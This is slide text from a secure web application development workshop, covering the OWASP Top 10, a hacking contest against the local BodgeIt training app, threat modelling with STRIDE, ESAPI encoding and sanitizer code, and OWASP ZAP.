  • Avoid using redirects and forwards as much as you can Don’t involve user parameters in defining the target URL If you ‘must’ involve user parameters, then either Use server side mapping to translate choice provided to user with actual target page Validate each parameter to ensure its valid and authorized for the current user Use a secure Redirect API e.g. ESAPI SecurityWrapperResponse.sendRedirect(URL) Some thoughts about protecting Forwards Call the access controller to make sure the user is authorized before you perform the forward Next best is to make sure that users who can access the original page are authorized to access the target page Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • See you all tomorrow!
  • Björn Kimminich https://twitter.com/bkimminich https://linkedin.com/in/bkimminich https://plus.google.com/104911551658259343924 http://slideshare.net/BjrnKimminich/
  • A1: Injection A3: Cross-Site Scripting (XSS) A2: Broken Authentication and Session Management A4: Insecure Direct Object References A8: Cross Site Request Forgery (CSRF) A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Missing Function Level Action Control A9: Using Known Vulnerable Components A10: Unvalidated Redirects and Forwards Ex-A6/2007: Information Leakage and Improper Error Handling
  • Hacking Contest Secure Software Development Lifecycle OWASP Zed Attack Proxy Links & Resources Wrap-Up
  • Attacking the BodgeIT Store
  • Source: http://code.google.com/p/bodgeit/
  • Download latest version http://code.google.com/p/bodgeit/downloads/list Unzip bodgeit.war into /webapps of an existing Serlvet Engine e.g. Tomcat, Jetty, … Launch your Server Browse to the BodgeIt Store e.g. http://localhost:8080/bodgeit Source: http://code.google.com/p/bodgeit/
  • Timebox: 120 Minutes Try to pass as many challenges as possible! No Scanners! No Cheating! No Decompilers! Source: http://code.google.com/p/bodgeit/
  • Secure Software Development Lifecycle
  • Analysis / Functional Design Identify (better: Reject) potentially insecure requirements Technical Design Consider Security Aspects when designing a solution Create a Threat Model of you Applications
  • Development / Realization Know and understand common vulnerabilities Know preventive measures for each vulnerability Write Clean Code (=less likely to contain a flaw) Write Unit Tests (=less likely to miss an existing flaw) Perform Security Scans on source code level Perform Code Reviews Most importantly… Never blindly trust any user input!
  • Test Perform Penetration Tests for new functionality Have a 3rd party perform regular Pentests Support Pentests with Security Scanners Operations / Maintenance Install a Web Application Firewall Establish an Incident Response Process
  • Maturity Levels for each Security Practice 0 = Unfulfilled activities 1 = Initial understanding and ad hoc provision 2 = Increased efficiency/effectvieness 3 = Comprehensive mastery Source: www.opensamm.org/downloads/SAMM-1.0.pdf
  • Source: www.opensamm.org/downloads/SAMM-1.0.pdf
  • Repeatable Process to find all and address all threats to you application Allows you to predicably and effectively find security problems early in the development process Help to produce software that is secure by design Diagram Identify Threats Mitigate Validate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • Go to the White Board Use Data Flow Diagrams Include Processes, Data Stores, Data Flows Include Trust Boundaries = Points/Surfaces where an attacker can interject Diagram Levels Validate High Level Scenario Low Level Subcomponents More Details if needed Diagram Identify Threats Mitigate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • External Entity The external entity shape is used to represent any entity outside the application that interacts with the application via an entry point. Process The process shape represents a task that handles data within the application. The task may process the data or perform an action based on the data. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • Multiple Process The multiple process shape is used to present a collection of subprocesses. The multiple process can be broken down into its subprocesses in another DFD. Data Store The data store shape is used to represent locations where data is stored. Data stores do not modify the data they only store data. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • Data Flow The data flow shape represents data movement within the application. The direction of the data movement is represented by the arrow. Privilege Boundary The privilege boundary shape is used to represent the change of privilege levels as the data flows through the application. Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • Use STRIDE to step through the diagram elements Spoofing Tampering Repudiation Information Disclosure Denial of Service Elevation of Privilege Diagram Identify Threats Mitigate Validate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • Source: https://www.owasp.org/images/2/2e/OWASP_Code_Review_Guide-V1_1.pdf
  • The Point of Threat Modelling Address or alleviate Problems Protect Customers Design Secure Software Addressing Threats Validate Redesign to Eliminate Apply Standard Mitigations Invent new Mitigations (Avoid!) Access Vulnerability in Design Diagram Identify Threats Mitigate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • Validate whole Threat Model Diagram matches final Code? At least STRIDE exists per Element that touches a Trust Boundary? Is each Threat mitigated? Are Mitigations done right? Diagram Identify Threats Mitigate Validate Source: http://download.microsoft.com/download/9/3/5/935520EC-D9E2-413E-BEA7-0B865A79B18C/Introduction_to_Threat_Modeling.ppsx
  • Custom Enterprise Web Application OWASP Enterprise Security API Authenticator User AccessController AccessReferenceMap Validator Encoder HTTPUtilities Encryptor EncryptedProperties Randomizer Exception Handling Logger IntrusionDetector SecurityConfiguration Your Existing Enterprise Services or Libraries
  • Presentation User Interface Business Web Service Database Integration User File System Set Character Set Encode For HTML Global Validate Canonicalize Specific Validate Sanitize Canonicalize Validate Source: http://code.google.com/p/owasp-esapi-java/downloads/detail?name=OWASP%20ESAPI.ppt
  • HTML Element Content (e.g., <div> some text to display </div> ) HTML Attribute Values (e.g., <input name='person' type='TEXT' value='defaultValue'> ) HTML Style Property Values (e.g., .pdiv a:hover {color: red; text-decoration: underline} ) #1: ( &, <, >, " )  &entity; ( ', / )  &#xHH; ESAPI: encodeForHTML() #2: All non-alphanumeric < 256  &#xHH ESAPI: encodeForHTMLAttribute() #3: All non-alphanumeric < 256  xHH ESAPI: encodeForJavaScript() Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx JavaScript Data (e.g., <script> some javascript </script> ) URI Attribute Values (e.g., <a href="javascript:toggle('lesson')" ) #4: All non-alphanumeric < 256  HH ESAPI: encodeForCSS() #5: All non-alphanumeric < 256  %HH ESAPI: encodeForURL()
  • Maps internal object references to indirect references that are safe to disclose publicly Prevents A4 Insecure Direct Object Reference Side Benefit of Random Reference Maps if used consequently and on per-user basis Makes guessing valid references impossible Prevents A5 Cross Site Request Forgery http://myapp?file=report4711.xls http://myapp?file=8jK65l http://myapp?file=report4712.xls http://myapp?file=T5d8ui Random Access Reference Map report4711.xls report4712.xls Source: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
  • Set fileSet = new HashSet(); fileSet.addAll(...); // Add direct references, e.g. Files AccessReferenceMap map = new RandomAccessReferenceMap(fileSet); String indirectRef = map.getIndirectReference(file1); String href = "http://myapp?file=" + indirectRef); // ... Somewhere else in the code String indirectRef = request.getParameter("file"); File file = (File)map.getDirectReference(indirectRef); Source: http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html
  • Using a simple prepackaged policy private String sanitizeHtml(String html) { PolicyFactory policy = Sanitizers.FORMATTING.and(Sanitizers.BLOCKS) Defining a customized policy .and(Sanitizers.LINKS); return policy.sanitize(html); } private static final PolicyFactory BASIC_FORMATTING_WITH_LINKS_POLICY = new HtmlPolicyBuilder() .allowCommonInlineFormattingElements().allowCommonBlockElements() .allowAttributes("face", "color", "size", "style", "align").onElements("font") .allowAttributes("style").onElements("div", "span").allowElements("a") .allowAttributes("href").onElements("a").allowStandardUrlProtocols() .requireRelNofollowOnLinks().toFactory();
  • Network Security Server Firewall IDS IPS Web App Malicious Requests exploit vulnerabilities and compromise application
  • Network Security Server Vulnerabilities might be insufficiently fixed Firewall IDS IPS Web App Blackbox Penetration Test Scanner Fix + Patch Application Web App Sourcecode Code Analysis Whitebox Scanner New security holes might be introduced during ongoing development and bugfixing!
  • Network Security Server Sometimes rejects legitimate requests („False Positives“) or fails to recognize illegal requests („False Negative“) Firewall IDS IPS Web App WAF Blacklist Whitelist Guidelines Ruleset Heuristics Defines legal/ illegal Requests Rejects illegal requests
  • User/Source Event Detection Reporting Assessment Descision Information Collection First Assessment Relevant? Second Assessment Relevant? False Positive Incident under control? Forensic Analysis Communications Later Response Activate Crisis Team Crisis Activities Immediate Response Review Improve Detection Reporting Yes No Operations Support No Yes No Yes Response Information Security Incident Response Team Crisis Organization No Yes
  • An Open Source Blackbox Security Scanner
  • An easy to use webapp pentest tool Completely free and open source An OWASP flagship project Ideal for beginners… …but also used by professionals Ideal for automated security tests Becoming a framework for advanced testing Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • No paid for „Pro“ version Involvement actively encouraged Cross platform (Java) Easy to use Easy to install Fully documented Work well with other tools Reuse well regarded components Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • First released September 2010 Current version 2.1.0 released in April 2013 downloaded 12.000+ times Translated into 19+ languages Intended for Developers… …mostly used by Professional Pentesters Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • Intercepting Proxy Active and Passive Scanners Spiders (for HTML and AJAX) Report Generation Brute Force (using OWASP DirBuster code) Fuzzing (using fuzzdb & OWASP JBroFuzz) WebSocket Support Session Awareness Integrated Addon-Marketplace Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • Source: https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
  • Kali Linux (fka Backtrack) Samurai Web Testing Framework OWASP Live CD OWASP BrokenWeb Apps VM
  • Kali Linux PwnPi Source: http://pwnpi.sourceforge.net/index.html_q=screenshots.html http://crushbeercrushcode.org/2013/03/developing-the-rogue-pi/
  • OWASP Website http://owasp.org Appsec Tutorial Series http://www.youtube.com/user/AppsecTutorialSeries ZAP http://code.google.com/p/zaproxy Java HTML Sanitizer https://code.google.com/p/owasp-java-html-sanitizer/ Enterprise Security API http://code.google.com/p/owasp-esapi-java/ OpenSAMM http://www.opensamm.org/
  • CWE/SANS Top 25 Programming Errors http://cwe.mitre.org/top25/ BodgeIt Vulnerable Web Application http://code.google.com/p/bodgeit/ Kali Linux http://www.kali.org/ Samurai Web Testing Framework http://samurai.inguardians.com PwnPi http://pwnpi.sourceforge.net/
  • Follow the Doodle link in your invitation email Please provide at least a star-rating Additional feedback is highly appreciated What did you like best about the workshop? What could have been better? What didn‘t you like at all?
  • Thank you for your attention!
  • The background artwork shows the self-image of villain AI Shodan from the cyberpunk-RPG video games System Shock and System Shock 2 ©1994/1999 Looking Glass Studios/Irrational Games Background image based on „Digital Shodan“ created by sephiroth-kmfdm Source: http://sephiroth-kmfdm.deviantart.com/art/Digital- Shodan-56013493 Recolorized using Corel PSP X5, Paint.Net and IrfanView